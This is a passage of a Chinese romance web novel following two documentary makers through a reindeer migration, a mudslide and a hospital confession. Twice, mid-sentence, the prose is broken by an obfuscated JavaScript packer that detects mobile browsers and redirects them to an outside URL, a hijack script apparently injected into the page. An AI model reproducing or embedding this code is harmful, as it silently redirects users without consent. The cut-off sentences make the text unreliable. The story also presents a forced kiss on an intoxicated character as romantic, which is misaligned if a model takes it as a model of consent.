彼时看到那封来自陈哥的信时,阙与山飘忽的眼神、没实话的嘴里吐出的解释,许藏一句都不信。 联系上后,陈哥给他的那封来信,许藏看了很久,也看了好多遍。 “阙与山向我买各地各样的木料,似乎很迷信什么,但那些木料的用处,我从来没有过问过。 “说起来,阙与山毕业那年,还给我寄了风景照片。那些照片装在一个泛黄的袋子里,边缘也有不同程度的磨损,像是有些 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许藏不知道那些照片,阙与山到底想给谁,但他要是自信一点、自私一点,将它们全部归结到自己的头上。 假若如此,阙与山从考上大学后到毕业前积攒的照片,要经历多少沉痛和失落才舍得散出去。 于是,许藏不敢自私,否则他会被汹涌的照片压死,会后悔带给阙与山摄影。 他逃避成为那些照片原本的主人,承担不起从旁人视角所表达的情感,却依旧忍不住心疼阙与山。 许藏拂去信封中那些照片身上若有似无的尘灰,将它们珍藏。 他从酸涩的心疼中抽出身后,却陡然发现信箱和照片之间微弱的关联。 将各地的木料搜集一起,将各种照片散出去。 就像《可怜无数星》中那群遍布天空的小星一般,就像阙与山刚刚所说的,那么多的广播电台一样。 许藏好像一下子就理解了,阙与山一直在迷信找人。 那是否,多年前找的人和两年多前找的人,是一个人呢? “什么小狗?”阙与山的眉头蹙在一起,看起来极其难受,“又是哪家的野狗,怎么那么多小狗……” 喝得半醉的阙与山简直将断章取义发挥到了极致,许藏有点无奈,松开了钳制住阙与山的手,收了回去,往后退开。 慢半拍的阙与山,只能意识到自己问到别的小狗时,许藏就退开了。 他的脸色瞬间变得很差,不管不顾地俯身往前探过身去,仰着头看许藏,神色有点愤慨和委屈。 “许藏……我知道镜头盖是你自己要去玉琼雪林送给我,别想骗我,越之垠和小赵都证实了。” 上一秒还在小狗,下一秒又奔着镜头盖那陈谷子烂芝麻去,许藏没跟上他的脑回路,目光垂在阙与山的脸上,看着那几个指印。 “上一次镜头盖是自愿,是为了卖个人情……那这次呢?” 阙与山灰蓝色的眼眸中蓄了点水,看起来可怜巴巴的,但语气很凶:“你是不是看了我的采访,所以可怜我?我说的那些话……” 许藏没有理会前面的问题,眼神晦暗不明,直问道:“那些话,真的还是假的?” “都是假的!”阙与山恶狠狠地咬牙切齿道。 许藏又笑了,这次不仅是被气到了,面色也很冷,漆黑的眸子里浸着霜。 要不是他自己去电视台采访组时,看过阙与山所有单采的稿子,几乎都要信了。 采访并非随性回答,所有单采为了防止事故发生,都有一定的稿子基础。 阙与山在回答观众来电时或许真的会说假话来骗他,但是采访时访谈者的问题,有几个阙与山回答得出乎意料,稿子里完全没有那段。 也就是说,阙与山还在他面前故作强硬,妄图推开他。 阙与山的语言激到了许藏,他的火瞬间漫了上来,充斥着胸腔。 许藏伸手绕到阙与山的后颈,往上探入他的长发中,微微用力,让他的脑袋仰得更厉害。 许藏冷着一张脸俯下身,目光贪婪地在阙与山吃痛的表情上逡巡。 最后,克制不住地吻了上去。 温热的唇瓣蓦地撞在一起,擦得阙与山“嘶”了一声,痛得想要退缩,却被微凉的手指扣住后脑,强硬地挤压变形。 没有触碰时,情愫还能克制。 一旦破戒,那些阴暗的东西不自觉地溢了出来,化作黑雾强行将两个人缠绕在一起。 许藏还觉得不够,这样不够阙与山为他的嘴硬付出代价。 他将阙与山的唇缝磨开,强势地撬开他的齿关,不停地入侵、辗转、摩挲,发掘探索他的弱点,尖锐地进攻。 交缠的气息越来越乱,脑袋已经不能用混乱来讲了,像是过了电一般的麻,肾上腺素飙升,浑身麻得发痒。 许藏微微退开,错开嘴唇调整呼吸,手掌在阙与山的后脑难抑制地抚摸,甚至捏了几下他的后颈。 没过几秒,许藏又堵住了阙与山的喘息。 反复两三次,阙与山额前的发丝被汗浸湿了,许藏的手掌上也全是汗。 许藏刚往后一点,阙与山眼神迷离,很明显不清醒,意犹未尽地追上来想接着亲。 但他用力地拽了一下阙与山的头发,将人控制在原地。 不远处的目光在第一次亲吻结束时就存在了,但是许藏没有管它。 而现在,许藏稍稍侧过头,眼神如有实质地刮了一眼僵在那里的李斐然,冷冷地问:“好看吗?” 28. 编织诱笼 第二天早上,阙与山在借住的房间醒来,除了脑袋有点昏沉之外,嘴巴也有点麻。惺忪之间,他下意识地摸上了自己的唇,好像很肿。 他对于昨晚的记忆仅仅停留在五个人围炉吃饭的时候,纠正李斐然对于《可怜星俱灭》的误解,其他人什么时候走了,他又什么时候回来记不太清,依稀感觉因为喝醉有一段时间极其缺氧,呼吸不上来,后来应该是被许藏给扛回来了。 阙与山起床洗漱的时候,在镜子里看了自己几眼。 唇果然肿了,软肉鼓起来,像是成熟的果实下一秒就要破皮而出。不仅如此,下巴上还有几道很深的印子和零星的凹陷。 之前酒后并没有这些奇怪的痕迹,阙与山思来想去,把它们全部归为烧酒的缘故。 许是酒的原因,导致他有点上火,晚上睡觉的时候磕出几道印子。 阙与山收拾好东西出房间时,就见到许藏已经在客厅里站着了,他应该很早就起来了,正盯着墙上的一副画看,听到动静后转过身,目光落在阙与山的脸上。 更准确来说,许藏的视线如有实质般在他的双唇和下巴处游荡搜刮。 阙与山下意识地跟着他的目光伸手碰了一下,不以为然地解释道:“酒喝多了,好像有点上火。” “是吗?”许藏似笑非笑地盯着他看。 不过几秒,阙与山却觉得像是过了很久,直让他觉得后背发麻,不由得错开了视线。 不知是不是他的错觉,总觉得许藏的嘴巴好像也有点红肿,不过许藏本身皮肤就白衬得唇色红艳,如今不过是加深了,不细看与平时无异。 许藏的目光似是能将他的身体灼出来个洞,不断地使他加温漫上红云,才随意地移开视线。 最后,许藏没说什么,只是叮嘱他要食清淡、多降火,“降火”两个字莫名被咬得很重。 他们两个拎着东西出门时,恰好老刘将越野车停在了门口,副驾驶上坐着脸色不太好的李斐然。 阙与山在与老刘交谈上逐青林后停留的时间时,捕捉到了李斐然时不时投过来的视线,也不轻不重地落在他的唇上。 余光中,李斐然欲言又止,几番想说什么又抿了唇。他皱了皱眉,微微侧过身,挡住了副驾驶的目光。 阙与山和许藏将各自行李扔进了越野车的后备箱,坐进了后排。 越野车的引擎发出轰鸣,沿着李斐然指的小道进入了逐青林,积雪未消,走起来有点艰难。 再加上,阙与山时不时地需要用相机记录下逐青林最初的景象,再配上一旁许藏的讲解,越野车走走停停,在黄昏时才到达驯鹿冬季栖息地。 越野车离驯鹿群还有很远的距离时便松开油门慢慢地滑过去,没有打扰到驯鹿。 最终停下来后,车上除老刘外的三人收拾好东西,穿上防寒的衣服,各自背着登山包,准备齐全地下了车。 和老刘告别后,阙与山和许藏跟着李斐然的指引,绕着驯鹿冬季栖息地的周围探查了起来。 他们围着驯鹿群绕了一圈,在不同的地方布置下拍摄装置,压低声音遥遥地介绍起驯鹿的冬季栖息地、驯鹿的冬季生活习惯以及驯鹿的特征、为何要长途迁徙等等。 等到这一切都暂时结束,李斐然带着两个人找了一个避风的场地,刨出原来存在这里的铁锅,支了一个架子,扫开浮雪后,将干净的雪铲进锅里,生火煮雪水。 阙与山利索地撑起一顶大帐篷,将砸地钉的事情交给许藏后,又抖出一顶相对较小的,相隔几步撑了起来。 李斐然一回头,就看到一大一小两顶帐篷支了起来,防潮垫防寒睡袋一应俱全,都被布置好了,甚至阙与山已经将帐篷周围可能进风的地方全部砌起了雪墙。 李斐然怔了一下,下意识脱口而出:“只有两顶帐篷吗?” “天寒地冻,挤一起比较暖和。”阙与山将雪墙拍实,漫不经心地回答,“我和许藏已经习惯睡在一顶帐篷里了,怕向导你不适应,单给你支了一顶。” 闻言,李斐然不知道想到了什么,脸色差了起来,转过头,一声不吭地做饭。 许藏将地钉砸好固定布置好帐篷后,搬了块干净的石头坐到了火堆旁边,心情还不错地开口问李斐然:“需要帮忙吗?” 李斐然偏过头,深深地看了他一眼,扭了回去:“不需要,谢谢。” 饭很快做好了,李斐然沉默地将碗相继递给了两个人,又从自己的背包中取出一个小壶,倒了点酒放到火堆上热。 阙与山吃饭时抬眸正巧看到这幕,客气地说道:“暖身的酒我就不喝了,昨天喝太多有点上火。” “上火?”李斐然有点不解,转过头看着阙与山,“怎么会上火?这个酒里加入的是逐青林中稀有植物酿造,除了后劲儿大,没什么副作用。” 阙与山蹙了一下眉:“不知道,早上起来嘴巴肿了。” 闻言,李斐然猛地瞪大了眼睛,目光在阙与山和一旁垂着头安静吃饭的许藏身上来回转,忍了半天还是没忍住,小心地问道:“昨晚的事,阙老师你不记得了?” “什么事?”阙与山疑惑地问,“昨晚断片了……” 沉默半天的许藏突然开口,接过话茬,笑着解释:“没什么,你喝醉了非要吃辣椒,把嘴巴辣肿了。我把你扛回去的时候,你还嘟囔着要继续吃。” 李斐然的表情变得古怪起来,眼中含着不可置信。 阙与山看到了,但是没理,顺着许藏的话说道:“是吗?什么辣椒这么好吃?” 没说几句,这个话题便不了了之了。 吃完饭后,阙与山站起身拿着相机,说要去给驯鹿补几个特写镜头,没让许藏跟着,便带着强光手电筒走了。 直到视线中看不见阙与山,李斐然才突然开口问道:“你为什么不敢让他知道,你强吻他?” 许藏毫不意外他会见缝插针地这么问,勾起了嘴角,意味深长地说道:“真是强吻吗? “如果不是我把他拉开,你可能会在门口看更久。” 之所以没有明确地挑明这件事,不是许藏害怕什么,而是他想埋下怀疑的种子,让阙与山探索,自己发现的东西永远比被告知更有成就感不是吗。 就像是,他亲了阙与山一次,阙与山便会不自觉地沉沦,再妄图追吻。 许藏只是想拿到主动权。 他们在冬季栖息地跟拍了没几天,驯鹿群便蠢蠢欲动,向着逐青林山下的平原进发。 许藏通过相机看到领头的驯鹿踏过薄雪时,不免叹了一口气:“驯鹿北迁的时间又比计划中提前了,雪消得太快,气候真是太差了。” 阙与山也看到了,表情凝重地说道:“不仅如此,因为气温升高,苔原地带融雪提早,滋生蚊虫,蚊虫生活的时间因此拉长,对驯鹿群来说也是一个必须面对的困难。” 时常与自然打交道的各行各业人们,无论如何看到它们的改变也不会漠视,他们会感慨、呼吁,就像这次“驯鹿北迁”的纪录片一样,不仅要向观众展现驯鹿北迁时所跨越的地带,更多的是对于环境和气候的思考。 他们跟着驯鹿群慢慢地下了山,和早就等在那里的老刘汇合,坐上越野车后通过后备箱的物资进行补给,另一方面可以借由越野车抵挡下一站。 逐青林和沉霭河谷的连接处是一片平缓的地带,其上的雪消融后露出被藏起来的草地。 零星几户牧人就在三月中下旬这个时间点,迁徙到此放牧,直到沉霭河谷的雨期时离开,于是他们从越野车上能够看到在薄雪的草地上支起来的移动式帐篷。 阙与山突然喊老赵停车,然后放下手中的相机,率先打开车门下去,顺便叫上了副驾驶坐着的通晓当地语言的李斐然。 他拦着许藏,没让他下车,踩在雪水上抬眸看向许藏:“你等我。” 说罢,阙与山就朝着前方那户人家而去。 他的背影在广袤的平原上越来越小,草地上的薄雪是他的配角,阙与山就这么一点点地和十四年前脏兮兮的样子重叠。 十四年前,那应该是许藏借住在阙与山家里的第五天。 虽然他与阙与山每晚同床共枕,但这个小孩不知为何,竟然连一句话都没跟他说过。 也许是这样如自问自答的谈话方式令许藏有点挫败,他起了个大早,先是陪父母去雪村拍摄照片,后来又在村子里转了几圈,脑子里一直想的是如何让阙与山开口。 他在路过一户人家时,看到有个小孩在吃糖,眼前一亮,想起父母的包里好像还有一包糖。 许藏找到了糖,没有选择从阙与山房间的门进去,而是绕到了那扇破窗外,明知阙与山就在那扇窗后写作业,还是敲响了窗棂。 阙与山或许永远都不知道,他不厌其烦地推开窗时,那双浅灰蓝色的眸子在雪的映衬下亮起来时,强硬又频繁地波动许藏的心弦。 许藏只能笑起来,将颤动的心弦藏在其下,将糖递出去,勾他出来。 阙与山很容易被诱捕,他轻松地从房间里翻了出来,一把将掌心的糖拿走,塞进口袋。 后来,阙与山丢下一句“你等我”就朝着山里去了。 许藏在原地愣了很久,他没想到让阙与山说话这么简单,竟然只需要一颗普通的糖就可以做到。 也许,从不开口的阙与山,一句“你等我”真的比山重,才会让许藏奋不顾身地等他一下午。 马叫的声音将许藏的思绪拉了回来,他一下子就看到,长发披肩的阙与山骑在朱红大马上,停在车门之外,神情柔和地看向自己。 被风扬起的发丝缓缓落下,搭在阙与山的额前,挡不住那双灰蓝色的眸子。 很轻易得,许藏又一次听到了自己暴动的心弦。 他刚举起手中的相机对准鲜衣怒马的人,就听到阙与山的声音徐徐传了过来:“许藏,骑马吗?” 阙与山仅仅借了一匹最好看的马,也没有从马上下来。 此时此刻的邀约,代表着他的私心——他想和许藏共骑一匹。 阙与山等了几秒,就见许藏放下了相机,推开车门,走向自己。 他不由自主地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233898|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勾起了嘴角,抓住了许藏伸出来的手,将人拽到了自己的前面坐着,还不等许藏调整好,便令马奔跑了起来。 许藏一个不稳,跌进了他的怀里,被阙与山笑着用两条有力的胳膊圈紧。 两人一马在青白相间的平原上奔驰,恣意鲜活。 老刘坐在主驾驶逐渐被这副画面渲染,伸长胳膊从后排拿了一个开机的相机,不太熟练地拍下这一画面。 余光瞥见李斐然垂头丧气地坐回了副驾驶,老刘边拍边关心道:“斐然,你怎么不借一匹马?” 李斐然摇了摇头,满脑子还循环着刚刚阙与山跟他说的话。 阙与山刚刚请他一起去那户人家,并非只想请他交流借马,在路上就问了李斐然:“所以,我喝醉那晚,到底发生了什么事?” 李斐然将强吻的事情绘声绘色地讲了出来,就差明确说许藏就是一个觊觎阙与山的变态了。 谁成想,阙与山不仅没有恼羞成怒,反而抬手摸了摸自己的嘴唇,一副回味不起来又懊恼的模样,嘴里喃喃“可惜”二字。 李斐然不解,李斐然大受震撼。 也许,真如许藏所说,如果不是他控制住阙与山,那场面简直一发不可收拾。 老刘开着越野车带他们追随驯鹿的脚步,一连跟了几日,终于目送驯鹿到了沉霭河谷的入口。 他将三人带包和相关的设备放下,开着越野车率先驶离了。 天空阴沉,随时会有降雨。 李斐然观察了一下沉霭河谷周围的环境,带着阙与山和许藏舍弃了对岸的峭壁,选择了另一侧草坡,在山头的最顶上扎了两顶帐篷。 几乎是他们前脚刚进帐篷,后脚沉霭河谷雨期的雨水如约而至。 阙与山和许藏只能先在帐篷内清理出一个空地,放着拍摄驯鹿的相机和镜头。 本就窄小的空间被压榨得没剩多少,他们两个人几乎是挤在一起、呼吸交缠着共同拍摄纪录片。 沉霭河谷的雨越下越大,没有停止的趋势。 密集的雨丝模糊了镜头和驯鹿之间的距离,相机拍下的可用画面越来越少,阙与山和许藏只能退而求其次地暂时停止拍摄。 没了关于纪录片的交流,帐篷内瞬间安静了下来,阙与山时不时地扫一眼旁边的许藏,见他还在捣鼓小型相机,想起前几日李斐然说许藏在酒后吻他,脸颊的温度漫了上来,状似无意地问道:“许藏,那晚你是不是……” “不对劲。”许藏严肃地从相机后面抬起头,直视阙与山,“你有没有发现,驯鹿群没有再走河谷的平原地带,而是沿着对面陡峭的山坡而上。” 阙与山怔了一下,拎起一个望远镜看去,驯鹿群确实如许藏所说,从竖队变换成横队,快速地沿着对面的山坡峭壁而上。 有几头怀孕的雌驯鹿腿脚不便,它们的后面有几头雄壮的驯鹿帮忙顶着上去。 许藏快速地分析:“出发前向导说过,沉霭河谷的雨量过大,会导致河谷塌陷或是泥石流等。 “驯鹿群明明在我们这侧,且我们处在草坡上,怎么看都比峭壁安全,但它们却不惜过河去到对面山上,我去找李斐然,阙与山你马上收拾东西。” 情况严峻,许藏随便披了一件防水冲锋衣外套就去了隔壁,和李斐然快速商讨后,决定跟随驯鹿的脚步,拔帐去往对面扎营。 他们三人加快了收拾东西的速度,背着东西小心翼翼地踩在被雨水冲刷得极其光滑的草坡上,花费了比上来时还要多的时间才安全抵达平原。 因为雨量太大,沉霭河谷中那条原本不太充盈的河,水量激增,河水甚至漫过了边缘,洇进了平原地带的泥土中。 饱水状态下的泥土,一踩能陷进去一大截,更别说他们三人还背着格外沉重的装备和拍摄设备。 雨水被风吹着,斜进雨衣帽口下的面庞上,顺着面部曲线下滑。 他们将重要的拍摄设备放进了小型充气垫上,寻了一处最窄处的河段,艰难地渡河,急流冲刷着飘荡的充气垫,阙与山几乎将手指都扣进其中,才勉强不让它被冲跑。 过了河后,雨水不断从峭壁上滑下,阻碍上山的进程。 他们才费力地走到峭壁的半程,身后对岸的草坡陡然发出震天动地的声响。 因为降雨量过大,沉霭河谷还是不可避免地发生了泥石流。 这场黑乎乎的灾害像是雪崩一般,最开始是几块碎石,不断下落中卷入了更多的泥土雨水,洋洋洒洒落下很长的一段距离,毁灭性地将原本青绿色的草坡强硬地剥开,扼杀微不足道的生命,只留下狰狞灰黑的表面。 灾害的声响无疑是穿云裂石,耳膜被震得难受,声音还在不断挤压身体,脑袋因此发蒙。 而就在泥石流喧嚣几秒后,阙与山陡然觉得自己被单独按下了静音键,耳边寂静无声。 阙与山身形不稳,摔下去的一瞬间,好像隔着雨帘看到了许藏在叫自己,但是他听不见,昏过去之前脑海里只来得及想起一件很重要的事情。 口袋里的果木壳耳坠要被压碎了。 29. 守得云开见月明 又是那个逃不开的梦。 耳朵里像是塞了实心的棉花,只能听到断断续续的哽咽。 胃部好似有一把生锈的剪刀,边搅动边戳刺,灼痛的感觉一路烧到喉咙,蜷缩着身体的阙与山控制不住地干呕,眼眶存不住那么多的生理眼泪,顺着眼角滑落。 这次,阙与山依稀听到了母亲的声音,她在喊自己的名字。 她紧紧地抱着自己,胳膊不断收紧,又怕勒着他,尴尬地松一会儿紧一会儿。她的声音格外沙哑,像是喊了很久,但是那些话阙与山都没有接收到。 阙与山疼得眼前发黑,冷汗不停地冒出,搅合着眼泪一起砸落,瞬间消失在厚雪中。 他不知道自己忍受了多久痛楚,从谁的手里转移到什么地方,直到冰冷的针头刺入他的皮肤,推进来凉得发颤的液体,才彻底昏了过去。 “食物中毒……听力受损……” 如小时候那样,许是他的听力受损过于严重,床边的医生通知他父母的时候,并没有背着他的意思。 阙与山做了很多次梦,这还是第一次,跟随记忆听清了有关于自己的诊断。 他睁开眼,腐朽掉皮的天花板丑陋地注视着他。借着父母与医生焦急谈话的时间,阙与山打量起记忆中的病房,拥挤肮脏,却是雪村的人能够去到的最好医院。 病房中除了他还有三床病人,他的床位离窗户更近,窗外的枝桠上站着一只鸟,它黑洞洞的眼睛直直地盯着阙与山,张开尖锐的嘴。 但是,阙与山却听不见它的声音。 医生走了,母亲转过身发现他已经醒了后,眼圈瞬间红了,避开他输液的位置扑了上来,埋在被子一块黄渍上哭泣。 阙与山能感觉到震颤,也知道她在说话,但是他听不见。 那一刻,他瞬间代入了聋子的身份,想着以后要跟别人交代,说话的时候一定要站在自己的面前。 阙与山能听到的声音很少,总是尖锐的、吵闹的才会流入他的耳朵,让人不厌其烦。 从他醒来后,父母也有意在他面前隐瞒病情,所以阙与山直到出院后好久看到自己的病历时,才大概了解了一些。 大致意思为因食物中毒而听力受损,后续恢复程度看运气,也许一辈子当个聋子,也许某天就好了,防止外部声音刺激导致病情反复。 除了听力受损,事实上还有一个食物中毒引起的后果。 不过,阙与山不是从病历上知道的,是从雪村中其他人的口中知道的。 彼时住院没几天,就因家里缺钱匆匆忙忙地回了雪村。 阙与山走得很慢,落在了父母的后面,村里的几个孩子应该是叫住了他,但是阙与山没听见。 于是,他们非常不满地拦住了他的去路,却在正视阙与山的时候愣住了,原因无他,只因阙与山的眸色被病痛剥夺,褪色成了浅灰蓝色。 尖锐的声音从稚嫩的嗓子中发出,无情的嘲笑不由得让阙与山皱起了眉。 他一言不发地绕开他们,回家后把自己锁在屋子里,对着镜子里灰蓝色眼睛的怪物咿咿呀呀半天,却总是听不见。 阙与山从小便知道,因为食物中毒的事情,父母对他多有愧疚从而纵容。 他疲于面对母亲的眼泪、父亲的沉默,常常一个人翻过旧窗上山,在洁白的大雪中用黑乎乎的泥武装自己。 自然有声却无声,恰好适合他这个不容于群的人。 也是在这个时候,受伤的狼闯进他的世界。 阙与山抱着“残就是朋友”的心思,冷漠地嚼了嚼路边不知名的草,反倒救好了它的伤腿,他给它起名为“敖乌”。 于是后来,无论阙与山有多么地想要与自然融为一体,敖乌都会执拗地将他身上的落雪扫开,用牙咬着他的领子不断地将他从雪中泥里扯出来。 阙与山是在许藏走后才意识到,雪好像始终站在他这边。 无论是食物中毒那日恰好停雪,连年积雪的出村道路清出一条道,还是大雪封山将许藏困在雪村,却又在他“耳朵不好”的秘密即将暴露时,放许藏走。 父母去世后,阙与山将这个秘密瞒了下来,只有他一个人知道。 他想证明,其实自己和普通人没什么区别,残缺的花也能结出正常的果。 可在沉霭河谷昏过去前,从许藏的眼中看到猝不及防的震惊,阙与山还是会心如刀绞,还是会悔恨自己将最差的一面完整地展现在了许藏面前。 如果,他的身体再坚强一点…… “阙……阙与山……阙与山。阙与山!” 阙与山竟然奇异地听到了许藏的声音,他艰难地睁开沉重的眼皮,模糊地看到旁边坐了一个人。 甚至连轮廓都没有看清,阙与山很突兀地就认定他是许藏,只是没想到,视线逐渐清晰后,瞥见了他泛红的眼圈。 阙与山感觉自己僵得像是在雪里埋了一天,抬起手时关节都在咔咔作响。 他痛得轻扯着嘴角,手指缓缓地抚上许藏的眼尾,沙哑的声音从喉咙中挤出来,试图让气氛没那么伤感:“你也上火了?” 许藏猛地抬起头看他,语气焦急,音量不自觉提高:“你感觉怎么样?有没有哪里不舒服?我这个音量合适吗?嗷对……按铃按铃,我怎么把这事忘了……” 许藏按完床头的呼叫铃后,坐下那一刻,看到阙与山的手掌抚上了自己的发顶,很轻地揉了揉,就跟自己过去安慰他一样。 他绷着唇忍了半天还是没有克制住,眼圈又红了一个度,只能快速地眨眨眼,将眼泪逼回去。 “许藏,我没事,别哭……”阙与山的声音似夹杂着叹息,他想了想,决定将昏过去之前的问题提上日程,“我喝醉的那晚,你是不是亲了我?” 许藏没有回话,只是伸手将他的手从发顶抓下来,放在自己的脸侧蹭了几下,随后庄重地亲吻阙与山的掌心,权作回答。 他的唇干燥温热,蹭得阙与山不自觉地蜷缩手指。 阙与山的眸色暗了几分,克制不住地用指腹在许藏的唇上按压,强迫症般一遍遍轻抚上面的干涩。 赶在医生护士来的时候,阙与山收回了自己的手,嘱咐许藏喝点水。 医生问了阙与山一些相关的问题,最后说了几句便走了,总体来说听力受损没有太严重,后续可以恢复到原来的听力,再观察几天就可以出院了,只是此后要注意防范,保护耳朵。 病房内除了阙与山靠窗外,还有两床,不过他们都恰好不在。 许藏将阙与山的病床摇了起来,拿了几个靠枕垫在他的腰后,不知从哪抽出素罗,微微抬起他的脑袋,熟练地将阙与山的长发绑了起来。 阙与山蓦地想起许藏给自己寄的三封信中的一封,里面写他跟着隔壁金发小男孩学会了束发,在玉琼雪林许藏曾说过自己是他第一个实践束发的人。 他试探着询问道:“许藏,你在信中说过,束发是为了生命中或许会出现的留长发的人而学,那个人……” “不对。”许藏束好了发,转身坐到了病床边缘,打断了他的话,“我在给你的信中说谎了。” 阙与山怔了一下,表情呆滞一瞬后,面露尴尬:“是我理解错了。” 许藏确信地点点头,肯定道:“是你理解错了。 “那个小男孩跟我说的,是如果我未来的爱人会留长发。我凭借记忆,单方面判断那个人未来大概懒得理睬自己的头发,因此欣然地学了束发。 “阙与山,我是为了我未来的爱人学的。” 还没等阙与山消化这句话,许藏又砸下来一个:“陈哥给我回信说,你收集大江南北的木料,就是为了制作小狗信箱。 “所以,阙与山,你收到了我的信,为什么不给我回复?” 阙与山表情无奈:“许藏,我今年除夕才看到你给我寄的信。 “因为信封写的是英文地址,被我父母压在了废弃的纸箱子底部。” “我没有骗你,我寄了五封……”许藏的神情有点不知所措,像个迷路的孩子,“我稳定下来才给你写的……” 阙与山难以抑制地心疼他,伸手攥住许藏的手,语气略强硬道:“许藏,看着我。” 许藏听话地将头抬起来,望进阙与山那双灰蓝色的眸子里,稍稍迷茫地看着。 阙与山一字一句地认真说着:“许藏,你跟我回过林城,也亲眼看到过小狗信箱,更从陈哥口中知道信箱木料的事情。 “所以,不需要任何外在鞭策,我依然会做那只信箱,依然会盼望你的来信,依然会等你。” 许藏缓慢地眨了眨眼,从这句话好像瞬间明白了什么,恍然道:“原来,雪林那次停电,你是真的没有听清我说了什么。” 阙与山闻言,想起了许藏第一次上玉琼雪林的第二晚。 木屋停电,壁炉微弱的火光摇曳,许藏的话隐在了屋檐落雪声下,随后他又说了一句什么,但是阙与山没有听见。 那之后,许藏强硬地要求两人交换位置,让他不停地讲述拍摄中的见闻。 如此一说,许藏好像在通过这样的方式,来确定他有没有听到那两句话。 “所以,你说了什么?” 到底是什么,让许藏在那晚之后态度急转直上,一再突破两人的边界,为最后下山分别做铺垫。 许藏顿了几秒,突然了悟地笑了笑,原来无论说一遍还是两遍,只要阙与山没听见,就都没有用。 他当时为什么不敢让阙与山听见,明明相别了十四年,明明在玉琼雪林没过几天就要再次分别。 但是,许藏这一次要拿到主动权。 他卖了个关子:“阙与山,你让我满意,我就告诉你。” 阙与山没想到得到这样一个回答,他抿了下唇,决定以小博大。 他的声音很低,仿佛不好意思般向许藏询问道:“许藏,来医院时,我穿的冲锋衣在哪里?” 许藏也没料到他的话题跨越度那么大,明明很简单的一句话就能让他放下所有的戒备、放下可笑的自尊。 他静了几秒,起身将那件被峭壁上的乱石划得不像样的冲锋衣找了过来。 阙与山接过了冲锋衣,嫌弃似的拎着它的领子,探入沾满干土的内侧口袋,抓了半天把东西握在了手里。 随后,他随手一抛,将脏衣服扔到了一旁,举着拳头伸到了许藏的面前,慢慢地展开,露出里面破碎的果木壳耳坠。 灰白色小巧的果木壳,丧生在一次意外的病情反复中,将裹藏了十四年的秘密,曝之于光。 阙与山垂眸看着那堆碎壳渣,讲述起果木壳耳坠的诞生:“它是我找来,在生日那天打扮自己的装饰品。想让它被看到,那个人却走了。 “许藏,你欠我的何止是一次生日,还有无尽的寄托。” 许藏看到了果木壳碎裂后,露出里面泛黄发脆卷起来的小纸条。 他应该是猜到了那张纸是什么,不然为什么伸出去取它的手指格外地颤,几乎都要控制不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他竟真的将那句话,完好无损地存到了现在。 许藏珍惜地再次看了一眼那张写满字的纸条,嗓子有点发痒,一字一句地问出当年没求得答案的话。 “阙与山,为什么不想让我走?” 阙与山曾在采访时回答过最喜欢什么和最不喜欢什么。 他最喜欢雪,很简单,因为雪帮他困住了许藏。 而今,他将要解释为什么最不喜欢下雪。 也很简单,因为下雪的时间不由他定,无论当年如何祈愿再下几天雪、私心留许藏到自己的生日,都无用。 他在很早的时候,在那个普通的夜晚,就想到了“下雪不由己”这件事,苦恼、烦闷、愤恨无处宣泄,最后只得让许藏写了那么个纸条。 祈愿每日都有百分百的概率下雪,祈愿许藏永远地被雪困在那里,祈愿许藏永远不要离开他。 这些疯狂偏执的祈愿,在无力回天、许藏离开后,被封存在那串果木壳中。 每一次果木壳响起,不仅仅表达他的心意,也克制地宣泄他的私念。 “许藏,那么简单,你都不明白吗?” 阙与山很轻地笑了笑,有点自嘲,也带些讥讽:“很简单啊,因为喜欢你。” 许藏将那张小纸条又重新放回阙与山的手心里,语气有点颤:“可是在玉琼雪林,林木深说你喜欢我的时候,你否认了。” 他突然提起来这件事,阙与山的脑子瞬间从豆腐脑转成了豆浆,想了半天才记起来这事。 彼时,他刚从许藏的床上爬下来,正遇林木深。可这不是关键,关键的是…… “你当时不是在睡觉吗?”阙与山瞪大了双眼,一瞬间就想明白了,许藏果然在玉琼雪林上处处骗自己,装睡也是。 但是他还是抿了抿嘴,解释道:“因为不知道你的态度,说喜欢你会给你带来困扰吧…… “而且,我们重逢时,在秋城广播大楼的第一面,你就甩开我,头也不回地走了。我以为,你不记得我了。” 阙与山说着说着,语气还委屈起来了。 许藏闻言,真是气不打一处来:“你上来就拽着我问,有没有见过林木深,问一个陌生人?你让我怎么回答? “如果我见你第一面,拉着你不让走,问你有没有见过越之垠,你生气吗?” 阙与山想到这个画面,脸瞬间就黑了,嘟嘟囔囔骂了几句,又垂着脑袋委屈巴巴道:“我当时站在四号播音室好一会儿,你都没认出来我。” 事实上,那天阙与山刚站在四号播音室门口,许藏的心脏就不受控制地猛烈跳动起来。 他皱了皱眉,就在剧烈心跳中抬起了头,看见了他的爱人,阙与山。 可以说,心跳比他更先感知到爱。 许藏轻轻地叹了口气,蓦地从床边站了起来,当着阙与山的面就开始拉开拉链,脱掉外套、毛衣等,最终只留下了一件极薄贴身的衣服。 他走到了阙与山的面前,在他躲闪的目光下,将阙与山的脑袋用手指扣住,不容置疑地按向自己的心口。 许藏问:“听到了吗?” 阙与山脸上还飘着一瞬间漫上来的红云,不知所措地抓着被子。 他的耳朵都贴上了许藏的体温,还傻傻地问:“什么?” 许藏答:“我难以克制的心跳。” 30. 拜托呼喊我的名字 十四年前,离开前一晚的星夜,当阙与山说出“我可抱抱你吗”的时候,许藏几乎难以按压自己的心跳。 他感觉它下一秒就要从胸腔中、血肉中活生生地蹦出来。 全身的血液在那一刻沸腾起来,喧嚣地冲过全身上下每一处。 